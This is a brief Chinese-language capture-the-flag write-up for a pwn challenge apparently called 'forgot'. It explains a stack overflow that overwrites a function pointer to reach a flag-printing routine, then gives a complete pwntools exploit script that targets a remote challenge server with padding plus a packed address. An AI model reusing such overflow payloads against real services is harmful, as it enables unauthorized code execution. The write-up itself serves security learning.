代码最后调用了v3为基础,v14+1为偏移的地址的函数
而v14=1 如果一次都没有通过判断的话就直接调用v3地址的函数
然后发现v2可以溢出,并且可以覆盖掉v3
所以我们把v3覆盖为sub_80486CC的地址(此处输出flag)
之后要解决的就是不让v14改变
直接让第一个判断函数不通过即可
'x47'就可以不通过
from pwn import * # io=process('./forgot') io=remote('111.198.29.45',41178) io.sendline('fuck') addr=0x80486CC payload='x47'*(0x20)+p32(addr) io.sendline(payload) io.interactive() # i am a pig